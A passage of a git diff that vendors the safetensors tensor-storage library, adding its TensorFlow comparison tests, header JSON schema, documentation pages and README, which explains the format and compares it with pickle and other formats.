type numpy, so we must copy for the + # test to be correct. + tensors2 = tensors.copy() + + save_file_pt(tensors, "./out.safetensors") + + # Now loading + loaded = load_file_pt("./out.safetensors") + self.assertTensorEqual(tensors2, loaded, torch.allclose) + + def test_exception(self): + flattened = {"test": {"dtype": "float32", "shape": [1]}} + + with self.assertRaises(SafetensorError): + serialize(flattened) diff --git a/extensions/safetensors/bindings/python/tests/test_tf_comparison.py b/extensions/safetensors/bindings/python/tests/test_tf_comparison.py new file mode 100644 index 0000000000000000000000000000000000000000..bdaae0612b314d1cd81f954bd79e428373961273 --- /dev/null +++ b/extensions/safetensors/bindings/python/tests/test_tf_comparison.py @@ -0,0 +1,76 @@ +import unittest + +import h5py +import numpy as np +import tensorflow as tf + +from safetensors import safe_open +from safetensors.tensorflow import load_file, save_file + + +def _load(f, tensors=None, prefix=""): + if tensors is None: + tensors = {} + for k in f.keys(): + if isinstance(f[k], h5py._hl.dataset.Dataset): + key = k if not prefix else f"{prefix}_{k}" + tensors[key] = tf.convert_to_tensor(np.array(f[k])) + else: + tensors.update(_load(f[k], tensors, prefix=f"{prefix}_{k}")) + return tensors + + +def _save(f, tensors, prefix=""): + for name, tensor in tensors.items(): + tensor = tensor.numpy() + dset = f.create_dataset(name, tensor.shape, dtype=tensor.dtype) + dset[:] = tensor + + +class SafeTestCase(unittest.TestCase): + def setUp(self): + data = { + "test": tf.zeros((1024, 1024), dtype=tf.float32), + "test2": tf.zeros((1024, 1024), dtype=tf.float32), + "test3": tf.zeros((1024, 1024), dtype=tf.float32), + } + self.tf_filename = "./tests/data/tf_load.h5" + self.sf_filename = "./tests/data/tf_load.safetensors" + + with h5py.File(self.tf_filename, "w") as f: + _save(f, data) + save_file(data, self.sf_filename) + + def test_zero_sized(self): + data = { + "test": tf.zeros((2, 0), dtype=tf.float32), + } + local = "./tests/data/out_safe_flat_mmap_small2.safetensors" + save_file(data.copy(), local) + reloaded = load_file(local) + # Empty tensor != empty tensor on numpy, so comparing shapes + # instead + self.assertEqual(data["test"].shape, reloaded["test"].shape) + + def test_deserialization_safe(self): + weights = load_file(self.sf_filename) + + with h5py.File(self.tf_filename, "r") as f: + tf_weights = _load(f) + + for k, v in weights.items(): + tv = tf_weights[k] + self.assertTrue(np.allclose(v, tv)) + + def test_deserialization_safe_open(self): + weights = {} + with safe_open(self.sf_filename, framework="tf") as f: + for k in f.keys(): + weights[k] = f.get_tensor(k) + + with h5py.File(self.tf_filename, "r") as f: + tf_weights = _load(f) + + for k, v in weights.items(): + tv = tf_weights[k] + self.assertTrue(np.allclose(v, tv)) diff --git a/extensions/safetensors/codecov.yaml b/extensions/safetensors/codecov.yaml new file mode 100644 index 0000000000000000000000000000000000000000..69cb76019a474330e99666f147ecb85e44de1ce6 --- /dev/null +++ b/extensions/safetensors/codecov.yaml @@ -0,0 +1 @@ +comment: false diff --git a/extensions/safetensors/codecov.yml b/extensions/safetensors/codecov.yml new file mode 100644 index 0000000000000000000000000000000000000000..69cb76019a474330e99666f147ecb85e44de1ce6 --- /dev/null +++ b/extensions/safetensors/codecov.yml @@ -0,0 +1 @@ +comment: false diff --git a/extensions/safetensors/docs/safetensors.schema.json b/extensions/safetensors/docs/safetensors.schema.json new file mode 100644 index 0000000000000000000000000000000000000000..23e1a37c63c584a8e9cb405044e5a7d2bd88eb14 --- /dev/null +++ b/extensions/safetensors/docs/safetensors.schema.json @@ -0,0 +1,66 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "title": "safetensors format header", + "description": "Describes the structure of all the tensors and their metadata", + "$defs": { + "size_t": { + "type": "integer", + "minimum": 0, + "maximum": 281474976710655, + "description": "A natural integer no more than 48 bits (current CPU limitation, not all 64 bits are used)" + }, + "Tensor": { + "title": "Tensor", + "description": "Describes the structure of one tensor", + "type": "object", + "additionalProperties": false, + "properties": { + "dtype": { + "type": "string", + "pattern": "([UIF])(8|16|32|64|128|256)", + "description": "Type of the array. U - unsigned int, I - signed int, F - IEEE 754 floating-point. Number is the count of bits." + }, + "shape": { + "type": "array", + "items": { + "$ref": "#/$defs/size_t", + "description": "Size of each dimension." + } + }, + "data_offsets": { + "type": "array", + "prefixItems": [ + { + "$ref": "#/$defs/size_t", + "description": "Start offset of the array. " + }, + { + "$ref": "#/$defs/size_t", + "description": "End offset of the array. Equal to the previous item + array size." + } + ] + } + }, + "required": [ + "data_offsets", + "dtype", + "shape" + ] + }, + "Metadata": { + "type": "object", + "additionalProperties": {"type": "string"}, + "title": "Metadata" + } + }, + "type": "object", + "properties": { + "__metadata__": { + "description": "Arbitrary metadata", + "$ref": "#/$defs/Metadata" + } + }, + "additionalProperties": { + "$ref": "#/$defs/Tensor" + } +} diff --git a/extensions/safetensors/docs/source/_toctree.yml b/extensions/safetensors/docs/source/_toctree.yml new file mode 100644 index 0000000000000000000000000000000000000000..ce40108cc5c9c692d3e8f6e7128dabd2aebaa7ea --- /dev/null +++ b/extensions/safetensors/docs/source/_toctree.yml @@ -0,0 +1,24 @@ +- sections: + - local: index + title: 🤗 Safetensors + - local: speed + title: Speed Comparison + - local: torch_shared_tensors + title: Tensor Sharing in Pytorch + - local: metadata_parsing + title: Metadata Parsing + - local: convert-weights + title: Convert weights to safetensors + title: Getting started +- sections: + - local: api/torch + title: Torch API + - local: api/tensorflow + title: Tensorflow API + - local: api/paddle + title: PaddlePaddle API + - local: api/flax + title: Flax API + - local: api/numpy + title: Numpy API + title: API diff --git a/extensions/safetensors/docs/source/api/flax.mdx b/extensions/safetensors/docs/source/api/flax.mdx new file mode 100644 index 0000000000000000000000000000000000000000..d6b24aaed14c2235433b12a508a3a4fd1aab7e4b --- /dev/null +++ b/extensions/safetensors/docs/source/api/flax.mdx @@ -0,0 +1,6 @@ +# Flax API + +[[autodoc]] safetensors.flax.load_file +[[autodoc]] safetensors.flax.load +[[autodoc]] safetensors.flax.save_file +[[autodoc]] safetensors.flax.save diff --git a/extensions/safetensors/docs/source/api/numpy.mdx b/extensions/safetensors/docs/source/api/numpy.mdx new file mode 100644 index 0000000000000000000000000000000000000000..42957fbcd306c454ff96193cb0779149746585a3 --- /dev/null +++ b/extensions/safetensors/docs/source/api/numpy.mdx @@ -0,0 +1,6 @@ +# Numpy API + +[[autodoc]] safetensors.numpy.load_file +[[autodoc]] safetensors.numpy.load +[[autodoc]] safetensors.numpy.save_file +[[autodoc]] safetensors.numpy.save diff --git a/extensions/safetensors/docs/source/api/paddle.mdx b/extensions/safetensors/docs/source/api/paddle.mdx new file mode 100644 index 0000000000000000000000000000000000000000..079402457dd2fa160517a3a8c50184add4ce48cd --- /dev/null +++ b/extensions/safetensors/docs/source/api/paddle.mdx @@ -0,0 +1,6 @@ +# PaddlePaddle API + +[[autodoc]] safetensors.paddle.load_file +[[autodoc]] safetensors.paddle.load +[[autodoc]] safetensors.paddle.save_file +[[autodoc]] safetensors.paddle.save diff --git a/extensions/safetensors/docs/source/api/tensorflow.mdx b/extensions/safetensors/docs/source/api/tensorflow.mdx new file mode 100644 index 0000000000000000000000000000000000000000..4bb93318e1181e3b7810ea03934189fb6b99363c --- /dev/null +++ b/extensions/safetensors/docs/source/api/tensorflow.mdx @@ -0,0 +1,6 @@ +# Tensorflow API + +[[autodoc]] safetensors.tensorflow.load_file +[[autodoc]] safetensors.tensorflow.load +[[autodoc]] safetensors.tensorflow.save_file +[[autodoc]] safetensors.tensorflow.save diff --git a/extensions/safetensors/docs/source/api/torch.mdx b/extensions/safetensors/docs/source/api/torch.mdx new file mode 100644 index 0000000000000000000000000000000000000000..2d93757935ab20306a1a3d1f0033303dd431b1c1 --- /dev/null +++ b/extensions/safetensors/docs/source/api/torch.mdx @@ -0,0 +1,8 @@ +# Torch API + +[[autodoc]] safetensors.torch.load_file +[[autodoc]] safetensors.torch.load +[[autodoc]] safetensors.torch.save_file +[[autodoc]] safetensors.torch.save +[[autodoc]] safetensors.torch.load_model +[[autodoc]] safetensors.torch.save_model diff --git a/extensions/safetensors/docs/source/convert-weights.md b/extensions/safetensors/docs/source/convert-weights.md new file mode 100644 index 0000000000000000000000000000000000000000..65c42f0d98e4d2c374ed7976856b69ed4f7392dd --- /dev/null +++ b/extensions/safetensors/docs/source/convert-weights.md @@ -0,0 +1,13 @@ +# Convert weights to safetensors + +PyTorch model weights are commonly saved and stored as `.bin` files with Python's [`pickle`](https://docs.python.org/3/library/pickle.html) utility. To save and store your model weights in the more secure `safetensor` format, we recommend converting your weights to `.safetensors`. + +The easiest way to convert your model weights is to use the [Convert Space](https://huggingface.co/spaces/diffusers/convert), given your model weights are already stored on the Hub. The Convert Space downloads the pickled weights, converts them, and opens a Pull Request to upload the newly converted `.safetensors` file to your repository. + + + +For larger models, the Space may be a bit slower because its resources are tied up in converting other models. You can also try running the [convert.py](https://github.com/huggingface/safetensors/blob/main/bindings/python/convert.py) script (this is what the Space is running) locally to convert your weights. + +Feel free to ping [@Narsil](https://huggingface.co/Narsil) for any issues with the Space. + + diff --git a/extensions/safetensors/docs/source/index.mdx b/extensions/safetensors/docs/source/index.mdx new file mode 100644 index 0000000000000000000000000000000000000000..3578d3ee8836fbdb078750b0942159c2c4052937 --- /dev/null +++ b/extensions/safetensors/docs/source/index.mdx @@ -0,0 +1,94 @@ + + +
+ + +
+ +# Safetensors + +Safetensors is a new simple format for storing tensors safely (as opposed to pickle) and that is still fast (zero-copy). Safetensors is really [fast 🚀](./speed). + +## Installation + +with pip: +``` +pip install safetensors +``` + +with conda: +``` +conda install -c huggingface safetensors +``` + +## Usage + +### Load tensors + +```python +from safetensors import safe_open + +tensors = {} +with safe_open("model.safetensors", framework="pt", device=0) as f: + for k in f.keys(): + tensors[k] = f.get_tensor(k) +``` + +Loading only part of the tensors (interesting when running on multiple GPU) + +```python +from safetensors import safe_open + +tensors = {} +with safe_open("model.safetensors", framework="pt", device=0) as f: + tensor_slice = f.get_slice("embedding") + vocab_size, hidden_dim = tensor_slice.get_shape() + tensor = tensor_slice[:, :hidden_dim] +``` + +### Save tensors + +```python +import torch +from safetensors.torch import save_file + +tensors = { + "embedding": torch.zeros((2, 2)), + "attention": torch.zeros((2, 3)) +} +save_file(tensors, "model.safetensors") +``` + +## Format + +Let's say you have safetensors file named `model.safetensors`, then `model.safetensors` will have the following internal format: + +
+ +
+ +## Featured Projects + +Safetensors is being used widely at leading AI enterprises, such as [Hugging Face](https://huggingface.co/), [EleutherAI](https://www.eleuther.ai/), and [StabilityAI](https://stability.ai/). Here is a non-exhaustive list of projects that are using safetensors: + +* [huggingface/transformers](https://github.com/huggingface/transformers) +* [AUTOMATIC1111/stable-diffusion-webui](https://github.com/AUTOMATIC1111/stable-diffusion-webui) +* [Llama-cpp](https://github.com/ggerganov/llama.cpp/blob/e6a46b0ed1884c77267dc70693183e3b7164e0e0/convert.py#L537) +* [microsoft/TaskMatrix](https://github.com/microsoft/TaskMatrix) +* [hpcaitech/ColossalAI](https://github.com/hpcaitech/ColossalAI) +* [huggingface/pytorch-image-models](https://github.com/huggingface/pytorch-image-models) +* [CivitAI](https://civitai.com/) +* [huggingface/diffusers](https://github.com/huggingface/diffusers) +* [coreylowman/dfdx](https://github.com/coreylowman/dfdx) +* [invoke-ai/InvokeAI](https://github.com/invoke-ai/InvokeAI) +* [oobabooga/text-generation-webui](https://github.com/oobabooga/text-generation-webui) +* [Sanster/lama-cleaner](https://github.com/Sanster/lama-cleaner) +* [PaddlePaddle/PaddleNLP](https://github.com/PaddlePaddle/PaddleNLP) +* [AIGC-Audio/AudioGPT](https://github.com/AIGC-Audio/AudioGPT) +* [brycedrennan/imaginAIry](https://github.com/brycedrennan/imaginAIry) +* [comfyanonymous/ComfyUI](https://github.com/comfyanonymous/ComfyUI) +* [LianjiaTech/BELLE](https://github.com/LianjiaTech/BELLE) +* [alvarobartt/safejax](https://github.com/alvarobartt/safejax) +* [MaartenGr/BERTopic](https://github.com/MaartenGr/BERTopic) +* [LaurentMazare/tch-rs](https://github.com/LaurentMazare/tch-rs) +* [chainyo/tensorshare](https://github.com/chainyo/tensorshare) diff --git a/extensions/safetensors/docs/source/metadata_parsing.mdx b/extensions/safetensors/docs/source/metadata_parsing.mdx new file mode 100644 index 0000000000000000000000000000000000000000..4dd143300083d75cbdf88597d2b5e9617a115344 --- /dev/null +++ b/extensions/safetensors/docs/source/metadata_parsing.mdx @@ -0,0 +1,143 @@ +# Metadata Parsing + +Given the simplicity of the format, it's very simple and efficient to fetch and parse metadata about Safetensors weights – i.e. the list of tensors, their types, and their shapes or numbers of parameters – using small [(Range) HTTP requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests). + +This parsing has been implemented in JS in [`huggingface.js`](https://huggingface.co/docs/huggingface.js/main/en/hub/modules#parsesafetensorsmetadata) (sample code follows below), but it would be similar in any language. + +## Example use case + +There can be many potential use cases. For instance, we use it on the HuggingFace Hub to display info about models which have safetensors weights: + +
+ + +
+ +
+ + +
+ +## Usage + +### JavaScript/TypeScript[[js]] + +Using [`huggingface.js`](https://huggingface.co/docs/huggingface.js) + +```ts +import { parseSafetensorsMetadata } from "@huggingface/hub"; + +const info = await parseSafetensorsMetadata({ + repo: { type: "model", name: "bigscience/bloom" }, +}); + +console.log(info) +// { +// sharded: true, +// index: { +// metadata: { total_size: 352494542848 }, +// weight_map: { +// 'h.0.input_layernorm.bias': 'model_00002-of-00072.safetensors', +// ... +// } +// }, +// headers: { +// __metadata__: {'format': 'pt'}, +// 'h.2.attn.c_attn.weight': {'dtype': 'F32', 'shape': [768, 2304], 'data_offsets': [541012992, 548090880]}, +// ... +// } +// } +``` + +Depending on whether the safetensors weights are sharded into multiple files or not, the output of the call above will be: + +```ts +export type SafetensorsParseFromRepo = +| { + sharded: false; + header: SafetensorsFileHeader; + } +| { + sharded: true; + index: SafetensorsIndexJson; + headers: SafetensorsShardedHeaders; + }; +``` + +where the underlying `types` are the following: + +```ts +type FileName = string; + +type TensorName = string; +type Dtype = "F64" | "F32" | "F16" | "BF16" | "I64" | "I32" | "I16" | "I8" | "U8" | "BOOL"; + +interface TensorInfo { + dtype: Dtype; + shape: number[]; + data_offsets: [number, number]; +} + +type SafetensorsFileHeader = Record & { + __metadata__: Record; +}; + +interface SafetensorsIndexJson { + weight_map: Record; +} + +export type SafetensorsShardedHeaders = Record; + +``` + +### Python + +In this example python script, we are parsing metadata of [gpt2](https://huggingface.co/gpt2/blob/main/model.safetensors). + +```python +import requests # pip install requests +import struct + +def parse_single_file(url): + # Fetch the first 8 bytes of the file + headers = {'Range': 'bytes=0-7'} + response = requests.get(url, headers=headers) + # Interpret the bytes as a little-endian unsigned 64-bit integer + length_of_header = struct.unpack(' 137022720 } +[roberta-base](https://huggingface.co/roberta-base?show_tensors=true) | single-file | { 'F32' => 124697433, 'I64' => 514 } +[Jean-Baptiste/camembert-ner](https://huggingface.co/Jean-Baptiste/camembert-ner?show_tensors=true) | single-file | { 'F32' => 110035205, 'I64' => 514 } +[roberta-large](https://huggingface.co/roberta-large?show_tensors=true) | single-file | { 'F32' => 355412057, 'I64' => 514 } +[distilbert-base-german-cased](https://huggingface.co/distilbert-base-german-cased?show_tensors=true) | single-file | { 'F32' => 67431550 } +[EleutherAI/gpt-neox-20b](https://huggingface.co/EleutherAI/gpt-neox-20b?show_tensors=true) | sharded | { 'F16' => 20554568208, 'U8' => 184549376 } +[bigscience/bloom-560m](https://huggingface.co/bigscience/bloom-560m?show_tensors=true) | single-file | { 'F16' => 559214592 } +[bigscience/bloom](https://huggingface.co/bigscience/bloom?show_tensors=true) | sharded | { 'BF16' => 176247271424 } +[bigscience/bloom-3b](https://huggingface.co/bigscience/bloom-3b?show_tensors=true) | single-file | { 'F16' => 3002557440 } diff --git a/extensions/safetensors/docs/source/speed.mdx b/extensions/safetensors/docs/source/speed.mdx new file mode 100644 index 0000000000000000000000000000000000000000..c748a891a382c08be5a2aa3e226c639a9bdc3574 --- /dev/null +++ b/extensions/safetensors/docs/source/speed.mdx @@ -0,0 +1,92 @@ +# Speed Comparison + + + Open In Colab + + +`Safetensors` is really fast. Let's compare it against `PyTorch` by loading [gpt2](https://huggingface.co/gpt2) weights. To run the [GPU benchmark](#gpu-benchmark), make sure your machine has GPU or you have selected `GPU runtime` if you are using Google Colab. + +Before you begin, make sure you have all the necessary libraries installed: + +```bash +pip install safetensors huggingface_hub torch +``` + +Let's start by importing all the packages that will be used: + +```py +>>> import os +>>> import datetime +>>> from huggingface_hub import hf_hub_download +>>> from safetensors.torch import load_file +>>> import torch +``` + +Download safetensors & torch weights for gpt2: + +```py +>>> sf_filename = hf_hub_download("gpt2", filename="model.safetensors") +>>> pt_filename = hf_hub_download("gpt2", filename="pytorch_model.bin") +``` + +### CPU benchmark + +```py +>>> start_st = datetime.datetime.now() +>>> weights = load_file(sf_filename, device="cpu") +>>> load_time_st = datetime.datetime.now() - start_st +>>> print(f"Loaded safetensors {load_time_st}") + +>>> start_pt = datetime.datetime.now() +>>> weights = torch.load(pt_filename, map_location="cpu") +>>> load_time_pt = datetime.datetime.now() - start_pt +>>> print(f"Loaded pytorch {load_time_pt}") + +>>> print(f"on CPU, safetensors is faster than pytorch by: {load_time_pt/load_time_st:.1f} X") +Loaded safetensors 0:00:00.004015 +Loaded pytorch 0:00:00.307460 +on CPU, safetensors is faster than pytorch by: 76.6 X +``` + +This speedup is due to the fact that this library avoids unnecessary copies by mapping the file directly. It is actually possible to do on [pure pytorch](https://gist.github.com/Narsil/3edeec2669a5e94e4707aa0f901d2282). +The currently shown speedup was gotten on: +* OS: Ubuntu 18.04.6 LTS +* CPU: Intel(R) Xeon(R) CPU @ 2.00GHz + + +### GPU benchmark + +```py +>>> # This is required because this feature hasn't been fully verified yet, but +>>> # it's been tested on many different environments +>>> os.environ["SAFETENSORS_FAST_GPU"] = "1" + +>>> # CUDA startup out of the measurement +>>> torch.zeros((2, 2)).cuda() + +>>> start_st = datetime.datetime.now() +>>> weights = load_file(sf_filename, device="cuda:0") +>>> load_time_st = datetime.datetime.now() - start_st +>>> print(f"Loaded safetensors {load_time_st}") + +>>> start_pt = datetime.datetime.now() +>>> weights = torch.load(pt_filename, map_location="cuda:0") +>>> load_time_pt = datetime.datetime.now() - start_pt +>>> print(f"Loaded pytorch {load_time_pt}") + +>>> print(f"on GPU, safetensors is faster than pytorch by: {load_time_pt/load_time_st:.1f} X") +Loaded safetensors 0:00:00.165206 +Loaded pytorch 0:00:00.353889 +on GPU, safetensors is faster than pytorch by: 2.1 X +``` + +The speedup works because this library is able to skip unnecessary CPU allocations. It is unfortunately not replicable in pure pytorch as far as we know. The library works by memory mapping the file, creating the tensor empty with pytorch and calling `cudaMemcpy` directly to move the tensor directly on the GPU. +The currently shown speedup was gotten on: +* OS: Ubuntu 18.04.6 LTS. +* GPU: Tesla T4 +* Driver Version: 460.32.03 +* CUDA Version: 11.2 diff --git a/extensions/safetensors/docs/source/torch_shared_tensors.mdx b/extensions/safetensors/docs/source/torch_shared_tensors.mdx new file mode 100644 index 0000000000000000000000000000000000000000..a0fd00b44d9ee15e9bc452e7159dc7522f123e8f --- /dev/null +++ b/extensions/safetensors/docs/source/torch_shared_tensors.mdx @@ -0,0 +1,107 @@ +# Torch shared tensors + + +## TL;DR + +Using specific functions, which should work in most cases for you. +This is not without side effects. + +```python +from safetensors.torch import load_model, save_model + +save_model(model, "model.safetensors") +# Instead of save_file(model.state_dict(), "model.safetensors") + +load_model(model, "model.safetensors") +# Instead of model.load_state_dict(load_file("model.safetensors")) +``` + +## What are shared tensors ? + +Pytorch uses shared tensors for some computation. +This is extremely interesting to reduce memory usage in general. + +One very classic use case is in transformers the `embeddings` are shared with +`lm_head`. By using the same matrix, the model uses less parameters, and gradients +flow much better to the `embeddings` (which is the start of the model, so they don't +flow easily there, whereas `lm_head` is at the tail of the model, so gradients are +extremely good over there, since they are the same tensors, they both benefit) + + +```python +from torch import nn + +class Model(nn.Module): + def __init__(self): + super().__init__() + self.a = nn.Linear(100, 100) + self.b = self.a + + def forward(self, x): + return self.b(self.a(x)) + + +model = Model() +print(model.state_dict()) +# odict_keys(['a.weight', 'a.bias', 'b.weight', 'b.bias']) +torch.save(model.state_dict(), "model.bin") +# This file is now 41k instead of ~80k, because A and B are the same weight hence only 1 is saved on disk with both `a` and `b` pointing to the same buffer +``` + +## Why are shared tensors not saved in `safetensors` ? + +Multiple reasons for that: + +- *Not all frameworks support them* for instance `tensorflow` does not. + So if someone saves shared tensors in torch, there is no way to + load them in a similar fashion so we could not keep the same `Dict[str, Tensor]` + API. +- *It makes lazy loading very quickly.* + Lazy loading is the ability to load only some tensors, or part of tensors for + a given file. This is trivial to do without sharing tensors but with tensor sharing + + ```python + with safe_open("model.safetensors", framework="pt") as f: + a = f.get_tensor("a") + b = f.get_tensor("b") + ``` + + Now it's impossible with this given code to "reshare" buffers after the fact. + Once we give the `a` tensor we have no way to give back the same memory when + you ask for `b`. (In this particular example we could keep track of given buffers + but this is not the case in general, since you could do arbitrary work with `a` + like sending it to another device before asking for `b`) +- *It can lead to much larger file than necessary*. + If you are saving a shared tensor which is only a fraction of a larger tensor, + then saving it with pytorch leads to saving the entire buffer instead of saving + just what is needed. + + ```python + a = torch.zeros((100, 100)) + b = a[:1, :] + torch.save({"b": b}, "model.bin") + # File is 41k instead of the expected 400 bytes + # In practice it could happen that you save several 10GB instead of 1GB. + ``` + +Now with all those reasons being mentioned, nothing is set in stone in there. +Shared tensors do not cause unsafety, or denial of service potential, so this +decision could be revisited if current workarounds are not satisfactory. + +## How does it work ? + +The design is rather simple. +We're going to look for all shared tensors, then looking for all tensors +covering the entire buffer (there can be multiple such tensors). +That gives us multiple names which can be saved, we simply choose the first one + +During `load_model`, we are loading a bit like `load_state_dict` does, except +we're looking into the model itself, to check for shared buffers, and ignoring +the "missed keys" which were actually covered by virtue of buffer sharing (they +were properly loaded since there was a buffer that loaded under the hood). +Every other error is raised as-is + +**Caveat**: This means we're dropping some keys within the file. meaning if you're +checking for the keys saved on disk, you will see some "missing tensors" or if you're +using `load_state_dict`. Unless we start supporting shared tensors directly in +the format there's no real way around it. diff --git a/extensions/safetensors/safetensors/Cargo.toml b/extensions/safetensors/safetensors/Cargo.toml new file mode 100644 index 0000000000000000000000000000000000000000..dfcf234d2c60fc911c21734b87de8a3941435ad8 --- /dev/null +++ b/extensions/safetensors/safetensors/Cargo.toml @@ -0,0 +1,34 @@ +[package] +name = "safetensors" +version = "0.4.1-dev.0" +edition = "2021" +homepage = "https://github.com/huggingface/safetensors" +repository = "https://github.com/huggingface/safetensors" +documentation = "https://docs.rs/safetensors/" +license = "Apache-2.0" +keywords = ["safetensors", "huggingface", "Tensors", "Pytorch", "Tensorflow"] +readme = "./README.md" +description = """ +Provides functions to read and write safetensors which aim to be safer than +their PyTorch counterpart. +The format is 8 bytes which is an unsized int, being the size of a JSON header, +the JSON header refers the `dtype` the `shape` and `data_offsets` which are the offsets +for the values in the rest of the file. +""" +exclude = [ "rust-toolchain", "target/*", "Cargo.lock"] + + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +serde = {version = "1.0", features = ["derive"]} +serde_json = "1.0" + +[dev-dependencies] +criterion = "0.4" +memmap2 = "0.5" +proptest = "1.1" + +[[bench]] +name = "benchmark" +harness = false diff --git a/extensions/safetensors/safetensors/README.md b/extensions/safetensors/safetensors/README.md new file mode 100644 index 0000000000000000000000000000000000000000..240ed6dd3a35c9442167ace65106b28d1646641b --- /dev/null +++ b/extensions/safetensors/safetensors/README.md @@ -0,0 +1,190 @@ +

+ + + + Hugging Face Safetensors Library + +
+
+

+ +Python +[![Pypi](https://img.shields.io/pypi/v/safetensors.svg)](https://pypi.org/pypi/safetensors/) +[![Documentation](https://img.shields.io/website/http/huggingface.co/docs/safetensors/index.svg?label=docs)](https://huggingface.co/docs/safetensors/index) +[![Codecov](https://codecov.io/github/huggingface/safetensors/coverage.svg?branch=main)](https://codecov.io/gh/huggingface/safetensors) +[![Downloads](https://static.pepy.tech/badge/safetensors/month)](https://pepy.tech/project/safetensors) + +Rust +[![Crates.io](https://img.shields.io/crates/v/safetensors.svg)](https://crates.io/crates/safetensors) +[![Documentation](https://docs.rs/safetensors/badge.svg)](https://docs.rs/safetensors/) +[![Codecov](https://codecov.io/github/huggingface/safetensors/coverage.svg?branch=main)](https://codecov.io/gh/huggingface/safetensors) +[![Dependency status](https://deps.rs/repo/github/huggingface/safetensors/status.svg?path=safetensors)](https://deps.rs/repo/github/huggingface/safetensors?path=safetensors) + +# safetensors + +## Safetensors + +This repository implements a new simple format for storing tensors +safely (as opposed to pickle) and that is still fast (zero-copy). + +### Installation +#### Pip + +You can install safetensors via the pip manager: + +```bash +pip install safetensors +``` + +#### From source + +For the sources, you need Rust + +```bash +# Install Rust +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +# Make sure it's up to date and using stable channel +rustup update +git clone https://github.com/huggingface/safetensors +cd safetensors/bindings/python +pip install setuptools_rust +pip install -e . +``` + +### Getting started + +```python +import torch +from safetensors import safe_open +from safetensors.torch import save_file + +tensors = { + "weight1": torch.zeros((1024, 1024)), + "weight2": torch.zeros((1024, 1024)) +} +save_file(tensors, "model.safetensors") + +tensors = {} +with safe_open("model.safetensors", framework="pt", device="cpu") as f: + for key in f.keys(): + tensors[key] = f.get_tensor(key) +``` + +[Python documentation](https://huggingface.co/docs/safetensors/index) + + +### Format + +- 8 bytes: `N`, an unsigned little-endian 64-bit integer, containing the size of the header +- N bytes: a JSON UTF-8 string representing the header. + - The header data MUST begin with a `{` character (0x7B). + - The header data MAY be trailing padded with whitespace (0x20). + - The header is a dict like `{"TENSOR_NAME": {"dtype": "F16", "shape": [1, 16, 256], "data_offsets": [BEGIN, END]}, "NEXT_TENSOR_NAME": {...}, ...}`, + - `data_offsets` point to the tensor data relative to the beginning of the byte buffer (i.e. not an absolute position in the file), + with `BEGIN` as the starting offset and `END` as the one-past offset (so total tensor byte size = `END - BEGIN`). + - A special key `__metadata__` is allowed to contain free form string-to-string map. Arbitrary JSON is not allowed, all values must be strings. +- Rest of the file: byte-buffer. + +Notes: + - Duplicate keys are disallowed. Not all parsers may respect this. + - In general the subset of JSON is implicitly decided by `serde_json` for + this library. Anything obscure might be modified at a later time, that odd ways + to represent integer, newlines and escapes in utf-8 strings. This would only + be done for safety concerns + - Tensor values are not checked against, in particular NaN and +/-Inf could + be in the file + - Empty tensors (tensors with 1 dimension being 0) are allowed. + They are not storing any data in the databuffer, yet retaining size in the header. + They don't really bring a lot of values but are accepted since they are valid tensors + from traditional tensor libraries perspective (torch, tensorflow, numpy, ..). + - 0-rank Tensors (tensors with shape `[]`) are allowed, they are merely a scalar. + - The byte buffer needs to be entirely indexed, and cannot contain holes. This prevents + the creation of polyglot files. + + +### Yet another format ? + +The main rationale for this crate is to remove the need to use +`pickle` on `PyTorch` which is used by default. +There are other formats out there used by machine learning and more general +formats. + + +Let's take a look at alternatives and why this format is deemed interesting. +This is my very personal and probably biased view: + +| Format | Safe | Zero-copy | Lazy loading | No file size limit | Layout control | Flexibility | Bfloat16 +| ----------------------- | --- | --- | --- | --- | --- | --- | --- | +| pickle (PyTorch) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | +| H5 (Tensorflow) | 🗸 | ✗ | 🗸 | 🗸 | ~ | ~ | ✗ | +| SavedModel (Tensorflow) | 🗸 | ✗ | ✗ | 🗸 | 🗸 | ✗ | 🗸 | +| MsgPack (flax) | 🗸 | 🗸 | ✗ | 🗸 | ✗ | ✗ | 🗸 | +| Protobuf (ONNX) | 🗸 | ✗ | ✗ | ✗ | ✗ | ✗ | 🗸 | +| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ | +| Arrow | ? | ? | ? | ? | ? | ? | ✗ | +| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ | +| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | +| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 | + +- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ? +- Zero-copy: Does reading the file require more memory than the original file ? +- Lazy loading: Can I inspect the file without loading everything ? And loading only +some tensors in it without scanning the whole file (distributed setting) ? +- Layout control: Lazy loading, is not necessarily enough since if the information about tensors is spread out in your file, then even if the information is lazily accessible you might have to access most of your file to read the available tensors (incurring many DISK -> RAM copies). Controlling the layout to keep fast access to single tensors is important. +- No file size limit: Is there a limit to the file size ? +- Flexibility: Can I save custom code in the format and be able to use it later with zero extra code ? (~ means we can store more than pure tensors, but no custom code) +- Bfloat16: Does the format support native bfloat16 (meaning no weird workarounds are +necessary)? This is becoming increasingly important in the ML world. + + +### Main oppositions + +- Pickle: Unsafe, runs arbitrary code +- H5: Apparently now discouraged for TF/Keras. Seems like a great fit otherwise actually. Some classic use after free issues: . On a very different level than pickle security-wise. Also 210k lines of code vs ~400 lines for this lib currently. +- SavedModel: Tensorflow specific (it contains TF graph information). +- MsgPack: No layout control to enable lazy loading (important for loading specific parts in distributed setting) +- Protobuf: Hard 2Go max file size limit +- Cap'n'proto: Float16 support is not present [link](https://capnproto.org/language.html#built-in-types) so using a manual wrapper over a byte-buffer would be necessary. Layout control seems possible but not trivial as buffers have limitations [link](https://stackoverflow.com/questions/48458839/capnproto-maximum-filesize). +- Numpy (npz): No `bfloat16` support. Vulnerable to zip bombs (DOS). Not zero-copy. +- Arrow: No `bfloat16` support. Seem to require decoding [link](https://arrow.apache.org/docs/python/parquet.html#reading-parquet-and-memory-mapping) + +### Notes + +- Zero-copy: No format is really zero-copy in ML, it needs to go from disk to RAM/GPU RAM (that takes time). 